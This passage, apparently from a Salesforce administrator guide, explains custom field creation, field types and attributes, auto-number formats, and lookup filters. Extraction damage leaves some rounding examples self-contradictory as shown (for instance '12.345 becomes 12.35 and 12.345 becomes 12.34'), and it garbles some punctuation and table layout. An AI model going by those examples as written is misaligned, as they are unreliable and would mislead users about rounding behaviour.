in a merge field.

If a standard field and custom field have matching names or labels, the merge field displays the value of the
custom field.
If two custom fields have matching names or labels, the merge field may not display the value of the field you
expect.

For example, if you create a field label called Email, the field name automatically populates as Email__c. If you
also have a standard field with the label Email, the merge field may not be able to distinguish between the standard
and custom field names. Make both the custom field name and label unique by adding a character to each, such
as Email2 and Email2__c, respectively.
6. Enter any field attributes.
7. (Master-detail relationships on custom objects only) If desired, select the Allow reparenting checkbox to allow a child
record in the master-detail relationship to be reparented to a different parent record.
8. For relationship fields, optionally create a lookup filter to limit the valid values and lookup dialog results for the field.
9. Click Next to continue.
10. In Enterprise, Unlimited, and Developer Editions, specify the field's access settings for each profile, and click Next.
Access Level

Enabled Settings

Users can read and edit the field.

Visible

Users can read but not edit the field.

Visible and Read-Only

Users can't read or edit the field.

None

Note:

When you create a custom field, by default the field isn't visible or editable for portal profiles, unless the field
is universally required.
Profiles with View Encrypted Data permission are indicated with an asterisk.

11. Choose the page layouts that should display the field as an editable field.
The field is added as the last field in the first two-column section on the page layout. For long text area fields, the field is
added to the end of the first one-column section on the page layout. For user custom fields, the field is automatically added
to the bottom of the user detail page. For universally required fields, you cannot remove the field from page layouts or
make it read only.

1076

Customize

About Custom Fields

12. For relationship fields, choose whether to create a related list that displays information about the associated records. You
can choose to put the related list on any page layouts for that object.
To change the label of the custom related list as it will appear on the page layouts of the associated object, edit the Related
List Label.
To add the new related list to page layouts that users have already customized, check Append related list to
users existing personal customizations.
13. Click Save to finish or Save & New to create more custom fields.
Note: Creating fields may require changing a large number of records at once. To process these changes efficiently,
you request may be queued and you may receive an email notification when the process has completed.

See Also:
Custom Field Attributes
Notes on Changing Custom Field Types
Additional Custom Field Options
Additional Options for Updating Picklists
Considerations for Universally Required Fields
Defining Roll-Up Summaries
Managing Deleted Custom Fields
Custom Settings Overview
Building Formulas
Defining Default Field Values

Custom Field Types


The first step in creating a custom field is choosing the type of the field. Below is a description of each custom field type. Field
types not listed in custom field types may appear if your organization installed a package from the AppExchange that uses
those custom field types.
Type

Description

Auto Number

Automatically assigns a unique number to each record. The


maximum length of any auto-number field is 30 characters,
20 of which are reserved for prefix or suffix text.

Checkbox

Allows users to check a box, indicating a true or false attribute


of a record. When using a checkbox field for a report or list
view filter, use True for checked values and False for
unchecked values. The import wizards and the weekly export
tool use 1 for checked values and 0 for unchecked values.

1077

Customize

About Custom Fields

Type

Description

Currency

Allows users to enter a currency amount. The system


automatically formats the field as a currency amount. This can
be useful if you export data to Excel or another spreadsheet.
Note: Salesforce uses the round half even tie-breaking
rule for currency fields. For example, 23.5 becomes
24, 22.5 becomes 22, 22.5 becomes 22, and 23.5
becomes 24.
Values lose precision after 15 decimal places.

Date

Allows users to enter a date or pick a date from a popup


calendar. In reports, you can limit the data by specific dates
using any custom date field.

Date/Time

Allows users to enter a date or pick a date from a popup


calendar and enter a time of day. They can also add the current
date and time by clicking the date and time link next to the
field. The time of day includes AM or PM notation. In
reports, you can limit the data by specific dates and times using
any custom date field.

Email

Allows users to enter an email address, which is validated to


ensure proper format. If this field is specified for contacts or
leads, users can choose the address when clicking Send an
Email. Note that you can't use custom email addresses for
mass emails.

Formula

Allows users to automatically calculate values based on other


values or fields such as merge fields. See Building Formulas
on page 1147 and Operators and Functions on page 1203.
Note:
Salesforce uses the round half up tie-breaking rule for
numbers in formula fields. For example, 12.345
becomes 12.35 and 12.345 becomes 12.34.
In Database.com, the Formula editor does not provide
a Check Syntax button. Syntax checking occurs when
the user attempts to save the formula.

Hierarchical Relationship

Lookup Relationship

Creates a hierarchical lookup relationship between users.


Allows users to use a lookup field to associate one user with
another that does not directly or indirectly refer to itself. For
example, you can create a custom hierarchical relationship
field to store each user's direct manager.
Creates a relationship between two records so you can associate
them with each other. For example, opportunities have a

1078

Customize

Type

About Custom Fields

Description
lookup relationship with cases that lets you associate a
particular case with an opportunity. A lookup relationship
creates a field that allows users to click a lookup icon and select
another record from a popup window. On the associated
record, you can then display a related list to show all of the
records that are linked to it. You can create lookup relationship
fields that link to users, standard objects, or custom objects.
If a lookup field references a record that has been deleted,
Salesforce clears the value of the lookup field by default.
Alternatively, you can choose to prevent records from being
deleted if theyre in a lookup relationship. For more
information on lookup relationships, see Overview of
Relationships on page 1740.
Lookup relationship fields are not available in Personal
Edition.
Lookup relationship fields to campaign members are not
available; however, lookup relationship fields from campaign
members to other objects are available.

Master-Detail Relationship

Creates a relationship between records where the master record


controls certain behaviors of the detail record such as record
deletion and security. For more information on relationships,
see Overview of Relationships on page 1740.
Available for custom objects only, although you can create a
master-detail relationship field on a custom object that links
to a standard object.
Master-detail relationships cannot be used with campaign
members.

Number

Allows users to enter any number. This is treated as a real


number and any leading zeros are removed.
Note: Salesforce uses the round half up tie-breaking
rule for number fields. For example, 12.345 becomes
12.35 and 12.345 becomes 12.34. Salesforce rounds
numbers referenced in merge fields according to the
user's locale, not the number of decimal of spaces
specified in the number field configuration.

Percent

Allows users to enter a percentage number, for example, '10'.


The system automatically adds the percent sign to the number.
Note: If the decimal value is greater than 15, and you
add a percent sign to the number, a runtime error
occurs.
Values lose precision after 15 decimal places.

1079

Customize

About Custom Fields

Type

Description

Phone

Allows users to enter any phone number.


Salesforce automatically formats it as a phone number. See
Entering Phone Numbers on page 16.
If you are using Salesforce CRM Call Center, custom phone
fields are displayed with the button, allowing click-to-dial
functionality. Consequently, salesforce.com recommends that
you do not use a custom phone field for fax numbers.

Picklist

Allows users to select a value from a list you define.

Picklist (Multi-select)

Allows users to select more than one picklist value from a list
you define. These fields display each value separated by a
semicolon.

Roll-Up Summary

Automatically displays the record count of related records or


calculates the sum, minimum, or maximum value of related
records. The records must be directly related to the selected
record and on the detail side of a custom master-detail
relationship with the object that contains the roll-up summary
field. For example, a customfield called Total Number of
Guests displays the number of guest custom object records
in the Guests related list.

Text

Allows users to enter any combination of letters, numbers, or


symbols. You can set a maximum length, up to 255 characters.

Text (Encrypted)

Allows users to enter any combination of letters, numbers, or


symbols that are stored in encrypted form. You can set a
maximum length of up to 175 characters. Encrypted fields are
encrypted with 128-bit master keys and use the AES
(Advanced Encryption Standard) algorithm. You can archive,
delete, and import your master encryption key. To enable
master encryption key management, contact salesforce.com.
See also Managing Master Encryption Keys on page 720.

Text Area

Allows users to enter up to 255 characters that display on


separate lines similar to a Description field.

Text Area (Long)

Allows users to enter up to 32,768 characters that display on


separate lines similar to a Description field. You can set
the length of this field type to a lower limit, if desired. Any
length from 256 to 32,768 characters is allowed. Note that
every time you press Enter within a long text area field, a
linebreak and a return character are added to the text. These
two characters count toward the 32,768 character limit. This
data type is not available for activities or products on
opportunities. Only the first 254 characters in a rich text area
or a long text area are displayed in a report.

1080

Customize

About Custom Fields

Type

Description

Text Area (Rich)

With the use of a toolbar, users can format the field content
and add images and hyperlinks. The toolbar allows the user
to undo, redo, bold, italicize, underline, strike-out, add a
hyperlink, upload or link to an image, modify alignment, add
a numbered or non-numbered list, indent, and outdent. The
maximum field size is 32,768 characters, inclusive of all the
formatting and HTML tags. Only the first 254 characters in
a rich text area or a long text area are displayed in a report.
The maximum size for uploaded images is 1MB. Only gif,
jpeg and png file types are supported. For more information,
see Using Rich Text Area Fields on page 1107.

URL

Allows users to enter up to 255 characters of any valid website


address. When users click on the field, the URL will open in
a separate browser window. Note that only the first 50
characters are displayed on the record detail pages.

See Also:
Changing Custom Field Type
Notes on Changing Custom Field Types
About Roll-Up Summary Fields

Custom Field Attributes


Here is a description of the attributes (in alphabetical order) that make up a custom field entry:
Field

Description

# Visible Lines

For long text area fields, set the number of lines to be displayed on edit
pages. You can display between 2 and 50 lines (the default is 6 lines). If the
text does not fit in the specified number of visible lines, scroll bars will
appear. Long text area fields are displayed in their entirety on detail pages
and printable views.

Calculation Options

Option that determines how a roll-up summary field is recalculated after


its properties change. Choose Automatic calculation to recalculate
a field the next time it is displayed. Choose Force a mass
recalculation of this field as a safety net option to force
recalculation of the roll-up summary field values.

Child Relationship Name

The name used in API SOQL relationship queries.

Data Type

The data type of a field determines what type of information is in the field.
For example, an field with the Number data type contains a positive or

1081

Customize

Field

About Custom Fields

Description
negative integer. For more information on data types, see Custom Field
Types on page 1077.

Decimal Places

For number, currency, and percent fields, the number of digits you can enter
to the right of a decimal point, for example, 4.98 for an entry of 2. Note
that the system rounds the decimal numbers you enter, if necessary. For
example, if you enter 4.986 in a field with Decimal Places of 2, the
number rounds to 4.99.

Default Value

The value to apply when a user creates a new record. For checkbox custom
fields, choose Checked or Unchecked as the default value to indicate the
default when creating new records. Default values should not be assigned
to fields that are both required and unique, as uniqueness errors may result.
See About Default Field Values on page 1156.

Description

Text that describes the custom field. This description is for administration
purposes only and does not display to users on record detail and edit pages
that include the field.

Display Format

For auto-number fields, enter a Display Format to control such formatting


details as the minimum number of leading zeros as well as any prefix or
suffix for the number.
Begin by entering the required minimum: {0}. This is a placeholder for the
auto-number without any leading zeros. Add any prefix to your number
before this placeholder and insert any suffix text after the placeholder. Insert
any date prefixes or suffixes in the form of {YY}, {YYYY}, {MM}, or {DD},
which always represent the create date of the record.
For information on using auto-number formats when entering your
Display Format, see Auto-Number Formatting Examples on page 1085.

External ID

For each object that can have custom fields, you can set up to three custom
text, number, or email fields as external IDs. An external ID field contains
record identifiers from a system outside of Salesforce.
You can use an external ID field to update or upsert records using the API.
When using the API or import wizards for custom objects and solutions,
you can use this field to prevent duplicates by also marking the field as
Unique.
Note: Custom fields marked as Unique count against an object's
limit of three External ID fields.

Filter Criteria

The criteria used to select a group of records to calculate the value of a


roll-up summary field.

Formulas

Enter the formula for the custom formula field or custom summary formula
for reports. For help on building formulas, see Building Formulas on page
1147.

1082

Customize

About Custom Fields

Field

Description

Help Text

The text that displays in the field-level help hover text for this field.

Label

Name of the custom field as you want it to appear.

Length (for text fields)

For text fields, the maximum number of characters that a user can enter in
a field (up to 255 characters).

Length (for number, currency, percent fields)

For number, currency, and percent fields, the number of digits you can enter
to the left of the decimal point, for example, 123.98 for an entry of 3.

Mask Character

For encrypted text fields, determines the character to use for hidden
characters. Available options are * and X.

Mask Type

For encrypted text fields, determines which characters are hidden and the
use of dashes in the field. Masked characters are hidden using the character
selected in Mask Character. Available options are:
Mask All Characters
All characters in the field are hidden.
Last Four Characters Clear
All characters are hidden but the last four display.
Credit Card Number
The first 12 characters are hidden and the last four display. Salesforce
automatically inserts a dash after every fourth character.
National Insurance Number
All characters are hidden. Salesforce automatically inserts spaces after
each pair of characters if the field contains nine characters. Use this
option for UK NINO fields.
Social Security Number
The first five characters are hidden and the last four display. Salesforce
automatically inserts a dash after the third and fifth characters.
Social Insurance Number
All characters are hidden but the last three display. Salesforce
automatically inserts a dash after the third and sixth characters.

Master Object

The object on the master side of a master-detail relationship used to display


the value of a roll-up summary field.

Related List Label

For relationship fields, the title for the related list that displays associated
records on the parent record.

Related To

For relationship fields, the name of the associated object.

Required

Makes the field required everywhere in Salesforce.


You must specify a default value for required campaign member custom
fields.

1083

Customize

Field

About Custom Fields

Description
Default values should not be assigned to fields that are both required and
unique, as uniqueness errors may result. See About Universally Required
Fields on page 1196.

Roll-Up Type

For roll-up summary fields, choose the type of calculation to make:


Type

Description

COUNT Totals the number of related records.

Starting Number

SUM

Totals the values in the field you select in the Field to


Aggregate option. Only number, currency, and percent fields
are available.

MIN

Displays the lowest value of the field you select in the Field
to Aggregate option for all directly-related records. Only
number, currency, percent, date, and date/time fields are
available.

MAX

Displays the highest value of the field you select in the Field
to Aggregate option for all directly-related records. Only
number, currency, percent, date, and date/time fields are
available.

For auto-number fields, enter a Starting Number that is less than 1


billion. Check Generate Auto Number for existing records...
if you would like to automatically number all current records beginning with
the starting number you enter. If unchecked, the next record you enter will
be assigned the starting number and your existing records will be blank in
this field. For leads, only unconverted leads will be assigned a number.
An auto-number field can contain up to 10 digits and up to 20 additional
characters for your prefix or suffix.

Sharing Setting

For master-detail relationship fields, the Sharing Setting attribute


determines the sharing access that users must have to a master record in
order to create, edit, or delete its associated detail records.

Summarized Object

The object on the detail side of a master-detail relationship used to provide


the values calculated in a roll-up summary field.

Unique

If checked, prevents duplicate field values.


For text fields, you can control whether values that are identical except for
their case are considered unique. Select Treat "ABC" and "abc" as
duplicate values to enforce case-insensitive uniqueness, or select
Treat "ABC" and "abc" as different values to enforce
case-sensitive uniqueness.

1084

Customize

About Custom Fields

Field

Description
Note: Custom fields marked as Unique count against an object's
limit of three External ID fields.

Values

For picklist fields, a list of available values (up to 255 characters for each
value). For picklists, select the appropriate checkbox to alphabetize the
picklist entries. You can also set the first value as the default selection. If
you mark both boxes, Salesforce first alphabetizes the entries and then sets
the first alphabetized value as the default. For multi-select picklists, enter
a list of values, check the sorting options that apply, and enter how many
values you want displayed at a time on edit pages, which determines the
box height.

Auto-Number Formatting Examples


Use these examples when setting the display format for auto-number fields.
Format

Displayed Values

{0}

3 66 103

{000}

003 066 103

Sample- {00000}

Sample- 00003 Sample- 00666 Sample- 10023

Value- {00} {MM} {DD} {YY}

Value- 03 12 02 04 Value- 76 03 03 04 Value- 123 11 09 04

PO #{0} {MM}-{DD}-{YY}

PO #12233 12-20-04 PO #25 06-07-04 PO #3 07-07-04

See Also:
Creating a Many-to-Many Relationship
Web Services API Developer's Guide

1085

Customize

About Custom Fields

Editing Fields
Available in: All Editions
Standard Objects are not available in Database.com

User Permissions Needed


To create or change fields:

Customize Application

1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
2. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
3. Click Edit next to the fields name.
4. Modify the field attributes. The attributes differ depending on the field type.
To change the type of your custom field, see Changing Custom Field Type on page 1250.
To make changes to picklists:

Click Edit next to a value to change the name, make it the default picklist value, assign a color to use on charts, or
change additional information.
Click Del next to a value to remove it from the picklist.
Special picklistssuch as opportunity Stage, Task Priority, Task Status, Lead Status, and Case
Statusmay prompt you to map the deleted value to another existing value in all of your organizations records. You
can map the values or leave your existing data unchanged.

Click New to add values to the picklist. If you use record types, select any record types that you want to include the
new values.
Click Reorder to change the sequence of picklist values.
Click Replace to change the values of picklist fields in existing records.
Click Printable View to open an easy-to-print list of your picklist values.
Click Chart Colors and select an option to assign colors to picklist values for use in charts:
Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart
Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example,
if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that
picklist value.
Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows
Assigned dynamically for all colors. Assign fixed colors by editing picklist values. For example, if you only need
certain picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest
as Assigned dynamically.
Manual assignments are overridden each time you click an option in Chart Colors.
Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
Knowledge Validation Status, and Opportunity Competitor picklists.

1086

Customize

About Custom Fields

5.
6.
7.
8.

Optionally, define custom help text for the field.


For lookup and master-detail relationship fields, optionally define a lookup filter.
For formula fields, click Next to modify the formula. See Building Formulas on page 1147.
In Enterprise, Unlimited, and Developer Editions, click Next to set the field-level security for the field. See Field-Level
Security Overview on page 663.
9. Click Save.
Note:

Editing fields may require changing a large number of records at once. To process these changes efficiently, you
request may be queued and you may receive an email notification when the process has completed.
To customize the way a custom objects related list appears on a parent records detail page, edit the parent records
page layout. For example, if you want to edit which fields appear on a custom objects related list on accounts, you
would edit the account page layout.
You cannot change the Field Name if a custom field is referenced in Apex.
When editing fields for accounts, opportunities, cases, contacts, or custom objects, check for any criteria-based
sharing rules that use the field in the rules. A field change may affect which records are shared.

See Also:
Changing Custom Field Type
Field-Level Security Overview
Additional Custom Field Options
Additional Options for Updating Picklists
Considerations for Universally Required Fields
Defining Default Field Values
About Universally Required Fields
Managing Deleted Custom Fields

About Lookup Filters


Available in: All Editions except for Database.com.

User Permissions Needed


To manage lookup filters:

Customize Application

Improve user productivity and data quality with lookup filters.


Lookup filters are administrator settings that restrict the valid values and lookup dialog results for lookup, master-detail, and
hierarchical relationship fields. Administrators specify the restrictions by configuring filter criteria that compare fields and
values on:

The current record (source)


The lookup object (target)

1087

Customize

About Custom Fields

The user's record, permissions, and role


Records directly related to the target object

For example, you can:

Restrict the Account Name field on opportunities to allow only accounts with a record type of Customer, filtering out
Partner and Competitor.
Restrict the Account Name field on opportunities to allow only active accounts.
Restrict the Contact field on cases to allow only contacts associated with the account specified in the Account Name
field on the case record.
Restrict the Account Name field on cases to allow only users with the International Sales profile to create or edit cases
for accounts outside the United States.
Tip: When you define a lookup filter, optionally click Insert Suggested Criteria to choose from a list of
lookup filter criteria that Salesforce suggests based on the relationships between objects in your organization.

Administrators can make lookup filters required or optional.

For fields with required lookup filters, only values that match the lookup filter criteria appear in the lookup dialog. Also,
users can't save invalid values manually typed in the field when editing the record. If a user tries to save an invalid value,
Salesforce displays an error message, which administrators can customize.
For fields with optional lookup filters, only values that match the lookup filter criteria appear in the lookup dialog initially;
however, users can click the Show all results link in the lookup dialog to remove the filter and view all search result values
for the lookup field. Also, optional lookup filters allow users to save values that don't match the lookup filter criteria, and
Salesforce does not display an error message if a user tries to save such values.

See Also:
Notes on Lookup Filters
About Dependent Lookups
Defining Lookup Filters
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields

About Dependent Lookups


Available in: All Editions

User Permissions Needed


To manage dependent lookups:

Customize Application

A dependent lookup is a relationship field with a lookup filter that references fields on the source object. For example, you can
configure the case Contact field to only show contacts associated with the account selected in the case Account Name field.

1088

Customize

About Custom Fields

When a user changes the value of a referenced field on the source object, Salesforce immediately verifies that the value in the
dependent lookup still meets the lookup filter criteria. If the value doesn't meet the criteria, an error message is displayed and
users can't save the record until the value is valid.
If the referenced field on the source object is a lookup, master-detail, or hierarchy field, users can't change its value by typing.
Instead, users must click the lookup icon and select a value in the lookup search dialog.

See Also:
About Lookup Filters
Notes on Lookup Filters
Defining Lookup Filters
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields

Notes on Lookup Filters


Available in: All Editions except for Database.com.

User Permissions Needed


To manage lookup filters:

Customize Application

Best Practices
Custom Help
Define custom help for fields with lookup filters to let users know about the business rule the filter enforces. For example,
if the lookup filter restricts the Account Name on opportunities to only allow active accounts, define custom help that
states You can only associate active accounts with opportunities.
Error Messages
Customize lookup filter error messages to guide users who type invalid values. For example, if the lookup filter restricts
the Account Name on opportunities to only allow active accounts, define an error message that states Value doesn't
exist or isn't an active account.
Important: Salesforce translates the standard error message for required lookup filters, but not custom error
messages. Use the Translation Workbench to translate lookup filter custom error messages. To restore the
standard error message after modifying it, click Reset to default message.
Profile-Based Lookup Filters
Use Current User Profile: ID in filter criteria to define different filter criteria for different users, or to let
administrators enter values that don't match the criteria. Avoid using Current User Profile: Name due to
technical limitations on standard profiles. See Lookup Filter Examples on page 1095.

1089

Customize

About Custom Fields

Record IDs vs. Record Names


To reference a specific record in filter criteria, use the ID of the record instead of its name. IDs are always unique whereas
names are not.
Testing
After creating a lookup filter, test it to make sure it is not too restrictive. Depending on their permissions, some users
may have read-only access to some relationship fields; ensure your lookup filters don't prevent those users from editing
records critical to their job functions.
Dependent Lookups on Page Layouts and Mini Page Layouts in the Console
When designing page layouts with dependent lookups:

If a dependent lookup is above its controlling field on a layout, make its lookup filter optional or redesign the layout.
Moving a required dependent lookup above its controlling field may confuse users who typically start from the top
of a page when entering data.
Ensure that both the controlling and dependent fields are visible so users can correct invalid values.

Lookup Filters and the Lookup Filter Fields Search Layout


Do not reference the same fields in both lookup filter criteria and the Lookup Filter Fields search layout. Users might
assume that results from their custom search override administrator-controlled lookup filters.
Implementation Notes

Salesforce supports lookup filters on relationship fields that point to:

Accounts
Assets
Contacts
Entitlements
Quotes
Service contracts
Users
Custom objects

For example, you can define a lookup filter on opportunities that points to accounts, but not vice-versa.
Lookup filter criteria can compare fields on the source object with different types of fields on the target object as long as
the fields are compatible.
Source Object Field Type

Compatible Target Object Field Types

Currency

Currency, Roll-Up Summary

Date

Date, Date/Time, Roll-Up Summary

Date/Time

Date, Date/Time, Roll-Up Summary

Hierarchy

Hierarchy, Lookup, Master-Detail

Lookup

Hierarchy, Lookup, Master-Detail

Master-Detail

Lookup, Hierarchy, Master-Detail

Number

Number, Percent, Roll-Up Summary

Percent

Number, Percent, Roll-Up Summary

1090

Customize

About Custom Fields

Picklist

Text, Text Area, Email, URL

Roll-Up Summary

Currency, Number, Date, Date/Time, Roll-Up Summary

Lookup filter criteria cannot reference the following types of fields on the source object:

Autonumber
Encrypted
Formula
Long text area
Multi-select picklist
Roll-up summary
Text
Text area
URL

On the Fields page, the icon indicates all fields with active lookup filters. The icon indicates that the lookup filter
is required.
If you enter Current User Profile: Name or Profile: Name in the Field column of your lookup filter criteria,
Salesforce displays a lookup icon in that row. Click the lookup icon to select from a list of existing profiles rather than
typing profile names.
The lookup filters you create in Salesforce also appear in the partner portal and Customer Portal.
Lookup filters are case-sensitive.
If you convert a required lookup filter with a custom error message to optional, Salesforce deletes the message.
If you create a lookup filter that invalidates an existing value for that field, the value persists; however, when a user edits
the record, Salesforce displays an error message and requires the user to change the invalid value before saving.
Salesforce prevents you from saving changes that cause required lookup filters on related records to contain invalid values.
Lookup auto-completion doesn't work for user lookups with additional drop-down lists. This is primarily for organizations
that have set up either a partner portal or Customer Portal.
Salesforce ignores lookup filters when converting leads if the Enforce Validation and Triggers from Lead
Convert checkbox on the Lead Settings page is deselected.
Versions 16.0 and higher of the Salesforce API support lookup filters. Lookup filters are enforced when you load data
through the API.
If you configure a lookup filter to show inactive users only, the relationship field has no valid options because inactive users
are never valid for relationship fields that point to the User object.
In enhanced list views, you cannot change fields that a dependent lookup filter criteria references.
Lookup filters do not support mass owner changes. If your lookup filter criteria reference the Owner field, performing a
mass owner change can result in incorrect values that won't be noticed until you attempt to save the record.
Lookup filters cannot reference formulas that reference global merge fields that lookup filters do not support.
If you create a filtered lookup on a field that looks up to another object, both objects must be deployed into the organization
at the same time.
Salesforce does not display an error message if the value of a controlling field invalidates the value of a dependent
master-detail relationship field.
Salesforce does not support inline editing in list views for:
Fields on the source object that are referenced in dependent lookups.
Fields with dependent lookups.

1091

Customize

About Custom Fields

Spanning Relationships in Lookup Filters


Filter criteria can include fields directly related to the target object (one level only). For example, on a lookup field pointing
to contacts, a lookup filter can reference fields on the account related to the contact via the Account Name relationship field.
The lookup field can also reference fields on the contact related to the contact via the Reports To relationship field.
For required lookup filters, each field referenced on a related lookup object counts against the number of unique relationships
allowed for the referenced object, not the source object. For example, the two unique relationships described above count
against the number allowed for the Contact object. Optional lookup filters don't count against the limit on the number of
unique relationships allowed per object.
To see which lookup filters affect the limit for a particular target object:

For standard objects, click Your Name > Setup > Customize, select the object from the Customize menu, and click
Related Lookup Filters.
For custom objects, click Your Name > Setup > Create > Objects, select one of the custom objects in the list, and scroll
to the Related Lookup Filters related list.

Lookup Filters vs. Validation Rules


Validation rules and lookup filters achieve similar ends, but offer different advantages. Use a lookup filter if:

You want to improve user efficiency by limiting the number of available options in a lookup search dialog.
You want to improve user efficiency by automating filters on lookup search dialogs that your users manually set.

Use a validation rule if:

You're close to the maximum number of lookup filters allowed.


You must implement a complex business rule that requires you to use a formula. Formulas can reference fields that basic
filter criteria can't reference, such as fields on the parent of the source object. Formulas can also use functions. For example,
use ISNEW if the rule should only apply on record creation, or ISCHANGED if the rule should apply when a field changes.

Other Limitations

Lookup filter criteria can reference fields on accounts, assets, contacts, entitlements, quotes, service contracts, users, and
custom objects, with the following exceptions:
Relationship fields on activities
System fields that are always read only, such as Created By and Modified By
Relationship fields that support queues, such as Case Owner and Lead Owner

Each object can have up to five active required lookup filters and an unlimited number of optional lookup filters. If you
reach the limit of required lookup filters for an object, create optional filters instead and use validation rules to enforce
your business rule when a user saves.
Lookup filters on currency fields don't convert currencies. For example, if your organization uses multiple currencies and
a lookup filter criteria is Expected Revenue greater than 100000, the lookup shows all records with an
Expected Revenue field value greater than 100,000, regardless of the currency.
You can't use special date values, such as Today or This Month, in lookup filter criteria.
You can't delete fields that are referenced in an active lookup filter.
You can't change the field type of fields referenced by an active lookup filter.

Using Lookup Filters with Person Accounts


If your organization uses person accounts, note the following:

1092

Customize

About Custom Fields

Person Accounts don't support Contact filters; however, Person Accounts support Account filters. For example, if the
Account field has a dependent lookup filter that's added to a Person Account, dependent lookups are supported. If the
Contact field has a dependent lookup filter that's added to a Person Account, dependent lookups isn't supported.
Lookup filter criteria on Account Name only apply to business accounts, not person accounts. For example, if your lookup
filter criteria is Account Name does not contain book, business accounts with "book" in the name, such as John's
Bookstore, are not valid, but person accounts with book in the name, such as John Booker, are valid and appear in the
lookup dialog for the Account field. If you need to filter on the name for a person account, use the First Name or Last
Name fields instead.
Use the Is Person Account field in your lookup filter criteria to restrict the valid values of a lookup field to one type
of account (either person accounts or business accounts). For example, to restrict a lookup to only person accounts, include
the following in your lookup filter criteria: Is Person Account equals True.
You can't package lookup filters that reference standard fields specific to person accounts, such as the Email and Title
fields.

See Also:
About Lookup Filters
About Dependent Lookups
Defining Lookup Filters
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields

Defining Lookup Filters


Available in: All Editions except for Database.com.

User Permissions Needed


To define lookup filters:

"Customize Application"

To define a lookup filter:


1. You can create lookup filters for new relationship fields in step 3 of the custom field wizard. To create a lookup filter on
an existing field:
a. Navigate to the fields area of the object that contains the relationship field:

For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize
menu, and click Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

b. Click Edit next to the name of the lookup or master-detail relationship field to which you want to apply the filter.
2. In the Lookup Filter Options section, click Show Filter Settings.
3. Specify the filter criteria a record must meet to be a valid value. To specify criteria, click Insert Suggested Criteria
and choose from a list of suggested criteria, or manually enter your own criteria. To enter your own criteria:

1093

Customize

About Custom Fields

a. In the first column, click the lookup icon or start typing in the text box and select a field.
b. In the second column, select an operator.
c. In the third column, select Value if Salesforce should compare the field in the first column with a static value, or select
Field if Salesforce should compare the field in the first column with the value of another field.
d. In the fourth column, enter the value or select the field that Salesforce should compare with the field in the first column.
Note:

Click Add Filter Logic to add Boolean conditions.


You can select from fields on the current record, the lookup object, or the user record. You can also choose
related fields that are one relationship away from the lookup object. Salesforce assists you by listing the available
fields and relationships when you click the lookup icon or click inside the text boxes.
Lookup filter criteria can compare fields of different types as long as they are compatible.

4. Specify whether the filter is required or optional. For fields with optional lookup filters, only values that match the lookup
filter criteria appear in the lookup dialog initially; however, users can click the Show all results link in the lookup dialog
to remove the filter and view all search result values for the lookup field. Also, optional lookup filters allow users to save
values that don't match the lookup filter criteria, and Salesforce does not display an error message if a user tries to save
such values.
For required lookup filters, specify whether you want Salesforce to display the standard error message or a custom message
when a user enters an invalid value.
5. Optionally, enter text to display in the lookup search dialog. Consider text that guides users in their searches and explains
the business rule that the lookup filter implements.
6. Leave Active selected.
7. Click Save.
Important: When creating a lookup filter on a master-detail relationship field, verify that the current values of the
field on all of the detail records meet the criteria you specify. If you specify criteria that an existing value doesn't meet,
Salesforce prevents the user from saving changes to the detail record. If this occurs, the user must first modify the
value on the master record to meet the criteria. For example, consider a custom object with a master-detail relationship
field that points to accounts. If you define a lookup filter that excludes all accounts with a Create Date before
01/01/2009, verify that no existing records of that custom object have a master-detail relationship with any account
created before 2009. A quick way to do this is to create a report that shows all accounts with a Create Date before
01/01/2009.
If at some point you no longer need this lookup filter, return to this page and do one of the following:
Deactivate the lookup filter
Deactivating a lookup filter preserves the lookup filter configuration but:

Prevents it from applying to the relationship field


Prevents it from impacting the cross-object references limit
Removes it as a dependency for fields referenced in the lookup filter criteria

To deactivate the lookup filter, deselect Active, then click Save.


Delete the lookup filter
Deleting a lookup filter permanently removes it. You cannot recover deleted lookup filters. To delete the lookup filter,
click Clear Filter Criteria, then click Save.

1094

Customize

About Custom Fields

Viewing a List of Lookup Filters for a Target Object


You can quickly see a list of all of the lookup filters that restrict the values of each target object. This is useful when creating
similar filters for a target object. Also, lookup filters that reference fields on related objects count against the cross-object
reference limit, which is the number of unique relationships allowed for a target object. The Related Lookup Filters list lets
you see which lookup filters might impact that limit. To see which lookup filters affect the limit for a particular target object:

For standard objects, click Your Name > Setup > Customize, select the object from the Customize menu, and click
Related Lookup Filters.
For custom objects, click Your Name > Setup > Create > Objects, select one of the custom objects in the list, and scroll
to the Related Lookup Filters related list.

See Also:
About Lookup Filters
Notes on Lookup Filters
About Dependent Lookups
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields

Lookup Filter Examples


Available in: All Editions except for Database.com.

User Permissions Needed


To define lookup filters:

"Customize Application"

Record Types in Lookup Filters


If the value of a relationship field should only consist of records with a particular record type, specify the record type in a
lookup filter. For example, if the Account Name field on opportunities should only have accounts with a Customer Account
custom record type, define the following lookup filter to restrict users to only creating or editing opportunities associated with
accounts that have a Customer Account record type, excluding accounts with Partner Account and Competitor Account record
types:
Filter Criteria
Account Name: Account Record Type equals value Customer Account

Custom Error Message


Account does not exist or is not a customer account.
Lookup Window Text
You can only associate customer accounts to an opportunity. Search results only
display customer accounts.

1095

Customize

About Custom Fields

Record Status in Lookup Filters


If the value of a relationship field should only consist of records with particular status, specify the status in a lookup filter. For
example, consider a Job Application object with a relationship field that points to the Position object. If the relationship
field should only have open positions, define the following lookup filter to restrict users to only creating or editing job applications
for positions with the Status field set to Open:
Filter Criteria
Position: Status equals value Open

Custom Error Message


Position does not exist or is not an open position.
Lookup Window Text
You can associate only open positions with job applications. Search results display
open positions only.
Profiles in Lookup Filters
When a business rule does not apply to users with every profile, use the Current User Profile global variable fields to
define lookup filters that only affect users with a particular profile.
